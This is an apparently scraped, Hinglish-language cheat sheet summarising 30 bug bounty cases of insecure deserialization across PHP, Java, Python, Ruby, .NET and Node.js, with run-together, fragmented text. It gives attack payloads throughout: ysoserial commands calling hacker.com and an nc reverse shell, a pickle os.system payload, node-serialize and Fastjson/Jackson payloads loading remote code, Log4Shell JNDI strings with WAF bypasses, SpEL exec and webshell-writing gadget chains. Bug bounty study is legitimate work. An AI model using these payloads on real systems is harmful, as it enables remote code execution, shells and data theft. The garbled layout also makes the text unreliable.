// PHP · JAVA · PYTHON · RUBY · .NET · NODE.JS — 30 REAL BOUNTY REPORTS
O:4:"User":2:{s:8:"username";s:5:"avin";s:7:"isAdmin";b:0;} — ye PHP
serialized object hai. Code mein __destruct() magic method tha jo
Logger class se file delete karta tha. Hacker ne object manipulate karke Logger class
banaya, filename mein shell.php pass kiya → Server ne deserialize
kiya → Shell saved → Root Access.O:数字:"ClassName" se shuru ho raha hai? = PHP serialized
object.
__wakeup(), __destruct(), __toString() — ye entry points hain.
isAdmin ya role ki value badal kar dekho
(b:0 → b:1).
phpggc -l se available chains dekho, best match use karo.
JSESSIONID=rO0ABXNy.... rO0 = Java Magic Bytes (AC ED 00 05 Hex). Server
purana Apache Commons Collections use kar raha tha. ysoserial CommonsCollections1 "curl hacker.com" se payload generate →
Cookie replace → readObject() call → Full RCE!rO0AB filter lagao. Ye Base64 Java serialization signature
hai.
application/x-java-serialized-object header = Java deser
confirmed.
ping ya dnslog se Out-of-Band check
karo.
.pkl) upload karne deta
tha. Python __reduce__() magic method batata hai object kaise
reconstruct karna hai. Hacker ne malicious class banayi: return (os.system, ('curl hacker.com',)) → Upload → Server ne
"Unpickle" kiya → curl execute → Full RCE!.pkl,
.pickle, .p, .joblib files = Python serialization.
gASV... se start hote hain.
yaml.load() (bina SafeLoader) bhi same RCE deta hai.
nslookup dalo taaki blind execution confirm ho.
\x04\x08 (Hex) = Base64
mein BAh7. GitHub par leaked secrets.yml se
secret_key_base mili → Hacker ne malicious Marshal object sign kiya →
ActiveSupport::Deprecation gadget se ERB eval → whoami execute → RCE!BAh (Base64) se start ho rahe hain?
.env files mein secret_key_base search
karo.
YAML.load equally dangerous hai purane versions mein.
Gem::SpecFetcher jo zyadatar apps mein hota hai.
{"username":"avin"}. App node-serialize use kar
rahi thi jo functions bhi serialize karta hai. Payload: {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /')}()"}
— IIFE () se turant execute → File list leak → Bounty!() lagana zaroori hai, warna execute nahi hoga.
nc -e /bin/sh ya bash -i se connection check
karo.
<input name="__VIEWSTATE" value="/wEPDwUK...">. Base64 decode:
AAEAAAD///// = .NET serialization header. ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "powershell..."
→ Submit form → Server deserialize kiya → PowerShell execute → Domain Admin!AAEAAAD///// se shuru = .NET serialization confirmed.
TypeNameHandling enabled? = JSON-based RCE bhi possible.
O:数字: · Java: rO0AB / AC ED · Python: gASV / 80 04 · Ruby:
BAh / 04 08 · .NET: AAEAAAD///// · Node: $$ND_FUNC$$file_exists() se check karti hai. Hacker ne Polyglot file banayi — bahar se
image.jpg, andar se Phar archive with malicious PHP object. Input: phar:///var/www/html/uploads/hacker.jpg/any.txt → PHP ne file_exists() chalaya → Metadata deserialize → __destruct() trigger → RCE bina unserialize() ke!phar://, gopher://, dict:// bhej sakte ho?
file_exists(), is_readable(), file_get_contents() — ye sab vulnerable.
FF D8 FF) + Phar metadata = valid image + valid phar.
__destruct ya __wakeup dhoondho (source
leak/GitHub).
["com.target.User", {"name":"avin"}]. Library enableDefaultTyping() use kar rahi thi. Hacker ne payload: ["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;INIT=RUNSCRIPT FROM 'http://hacker.com/rce.sql'"}]
→ Jackson ne class instantiate ki → SQL file download → RCE!@class ya ["className", ...] format =
polymorphic typing.
pom.xml, build.gradle mein version check
karo.
@type keyword = Fastjson. Developers ne
blacklist lagayi thi. Hacker ne "L" aur ";" magic characters se bypass: {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"ldap://hacker.com:1389/Exploit", "autoCommit":true}
→ Server ne LDAP se Exploit.class load ki → Full System Compromise!@type dikhe = 99% Fastjson.
java.net.InetAddress ya java.net.URL class try
karo DNS trigger karne ko.
\u004c
(L), extra [, Unicode se blacklist bypass karo.
Content-Type: application/xml accept kar
raha tha. XML mein <sorted-set> tags + <dynamic-proxy> + EventHandler → ProcessBuilder.start() trigger → curl hacker.com
execute → DNS callback confirmed → Bounty!<tags> accept karte hain.
<interface> ya <handler> kaam kar
rahe? = 100% vulnerable.
curl/nslookup se blind execution confirm
karo.
Requests_Utility_FilteredIterator. Media library sync → unserialize() call → __destruct() → Image ke
metadata se object "zinda" hua → RCE!wp_options mein rakhte hain. User-controllable?
wp_get_attachment_thumb_file() jaise functions phar:// ke liye
vulnerable.
Requests
library ya Guzzle jo WordPress ke saath aati hain = best
gadgets.
st_cart_id = serialized PHP object (O:20:"Magento\Framework\Object":...). Gadget: Zend_Log_Writer_Stream (log files likhta hai). _stream = /var/www/html/shell.php, _mode = a. Cart update → __destruct() → shell.php created → Full Site Compromised!Zend_Filter, Zend_Log = legendary
gadgets.
ajax/api/hook/decodeArguments endpoint par data
direct unserialize() hota tha. Gadget: vB_Render_Template — template parameter mein PHP code. Payload: arguments=O:18:"vB_Render_Template":1:{s:11:"template";s:20:"print(shell_exec('id'));"}
→ Template render → id command execute → Forum Admin!/ajax/
aur /api/ endpoints hamesha track karo.
route,
hook, arg mein serialized strings?
vB_Render, Smarty, Twig —
template engines = RCE ka rasta.
X-Jenkins-CLI-Port. ysoserial CommonsCollections1 "nc -e /bin/sh hacker.com 4444" → Custom
Python script se CLI port par bheja → readObject() → Reverse Shell →
Supply chain attack possible!7001/tcp open weblogic-t3. Handshake: t3 12.2.1 → Server: HELO = T3 active.
CommonsCollections1 blocked → JDK7u21 gadget (blacklist mein nahi) →
python3 weblogic_t3_exploit.py <IP> 7001 payload.bin → Windows
System Access!nmap -sV --script realport-info se verify karo.
1099/tcp open rmiregistry. /invoker/JMXInvokerServlet accessible = binary file download. Hacker ne
JRMP listener start kiya, JBoss server ko trick kiya: "Mere machine (port 1337) se connect ho" →
JBoss ne connect kiya → payload fetch → deserialize → System Shell!JMXInvokerServlet, EJBInvokerServlet 200
OK?
baRMIe,
rmiscan tools se vulnerabilities check karo.
AnnotationInvocationHandler → LazyMap → key missing?
→ ChainedTransformer call → Runtime.class → getMethod('getRuntime') → invoke('exec', 'calc.exe').
Dominoes gir gaye. Server ne sirf readObject() kiya — poori chain
reaction automatically chali!user_pref mein base64 string. Symfony app.
PHPGGC se chain: PhpArrayAdapter.__destruct() → initialize() → call_user_func() → system() → Payload serialize + base64 + cookie inject. PHP ne memory clean
kiye → __destruct → Dominoes → RCE!phpggc -l se
available chains list karo, best match use karo.
__destruct aur __toString functions
dhoondho.
system('sleep 10'), page 10 sec late load hua = RCE confirmed.
SignedObject bheja (filter
pass) → SignedObject apne andar serialized data store karta hai →
Deserialize hote waqt andar se "Zehreela" CommonsCollections payload nikla → RCE! Filter ne sirf
first layer check ki.SignedObject, SealedObject, MarshalledObject = "Safe" par nested data carry.
readObject() call?
ysoserial URLDNS "http://unique.dnslog.cn" bheja → Server ne deserialize
karte waqt URL.hashCode() call kiya → DNS resolve attempt → DNSLog
dashboard par server ki IP se request aayi! Deserialization confirmed bina RCE ke.Thread.sleep() ya DB sleep try karo.
user_profile field = PHP
serialized data (O:4:"User"...). Pehle JWT secret brute-force: secret123 mila. PHPGGC se Guzzle gadget chain → user_profile mein inject → JWT re-sign → Server ne signature verify kiya
(valid) → user_profile deserialize → RCE!O:, rO0, !! se start ho =
serialization.
hashcat ya jwt_tool se weak secrets
dhoondho.
Content-Type: application/grpc). APK decompile → .proto files mili → Schema mein Any type field thi
(koi bhi object hold kar sakti hai) → CommonsCollections chain ko Any
field mein byte-array pack kiya → grpc-curl se bheja → Server ne "Unpack"
kiya → Full Infrastructure Access!application/x-protobuf ya application/grpc
Content-Type?
Any ya bytes fields = injection points.
munch library dictionaries ko objects mein badalti
hai. Hacker ne {"__class__": "test"} bheja → Error = magic attributes
process ho rahe hain. munchify() recursive hai → __globals__ navigate karke os.system tak pahuncha →
Server ki memory mein functions "Pollute" → Next command = hacker ka code execute!munch, attrdict, similar libraries check
karo.
__class__, __init__, __mro__ bhej kar response change dekho.
20880/tcp open dubbo. Dubbo default mein
Hessian2 serialization use karta hai — trust par chalta hai, security par nahi. Marshalsec se
Hessian-specific Resin gadget → Custom script se Dubbo port par "Invoke"
bheja → Deserialize → RCE → Lateral movement → 50+ microservices ka control!yaml.load() use kar raha tha (bina SafeLoader).
Hacker ne inject kiya: !!python/object/apply:os.system ['curl hacker.com']. Java mein SnakeYAML:
!!javax.script.ScriptEngineManager se JNDI connection → Remote class load
→ RCE!!!python/object, Java: !!javax.script, Ruby:
!!ruby/object
yaml.safe_load() hai? = Safe. yaml.load() hai? =
Vulnerable!
.gitlab-ci.yml, Jenkinsfile mein YAML injection
possible?
Set-Cookie: rememberMe=deleteMe =
Apache Shiro confirmed. Purane Shiro versions mein AES encryption ki default key hardcoded thi:
kPH+bIxk5D2deZiIxcaaaA==. Hacker ne ysoserial payload generate → Default
key se AES-CBC encrypt kiya → Cookie mein bheja → Server ne decrypt + deserialize → RCE!kPH+bIxk5D2deZiIxcaaaA== aur 100+ known leaked keys.
/actuator/gateway/routes) publically accessible tha. Hacker ne malicious
route add kiya with SpEL expression: #{T(Runtime).getRuntime().exec('curl hacker.com')} → Route refresh kiya →
Spring ne expression "Evaluate" kiya → Command execute! Ye technically Expression Language
Injection hai par deserialization se closely related./actuator, /actuator/env, /actuator/gateway/routes
#{T(Runtime).getRuntime().exec(...)} try karo.
/actuator/gateway/refresh.
/actuator/heapdump se credentials + secrets leak ho sakte hain.
setRegistrationRequired(false) set
kiya (any class accept) → Hacker ne Kryo-specific payload bheji → Custom binary format mein
gadget chain → Server ne deserialize kiya → RCE on game server!AC ED) nahi hai par objects bhej raha = possible Kryo.
setRegistrationRequired(false) hai? = Any class deserialize
hogi.
${jndi:ldap://hacker.com:1389/exploit} inject kiya (User-Agent,
X-Forwarded-For, anywhere that gets logged). Log4j ne JNDI lookup kiya → Hacker ke LDAP server
se malicious Java class download hui → Server ne deserialize ki → Instant RCE. Internet par
sabse devastating bug — millions affected!${${lower:j}ndi:}, ${j${::-n}di:} WAF bypass ke
liye.
ldap://, rmi://, dns://
(dns sabse safe detect ke liye).
session.upload_progress feature enabled
tha. File upload ke saath PHP_SESSION_UPLOAD_PROGRESS parameter mein
serialized payload inject kiya → PHP ne session file mein save kiya → Race condition exploit:
session file delete hone se pehle LFI se include karaya → PHP ne session data deserialize kiya →
__wakeup() trigger → RCE!/tmp/sess_<SESSIONID> par LFI through include karo.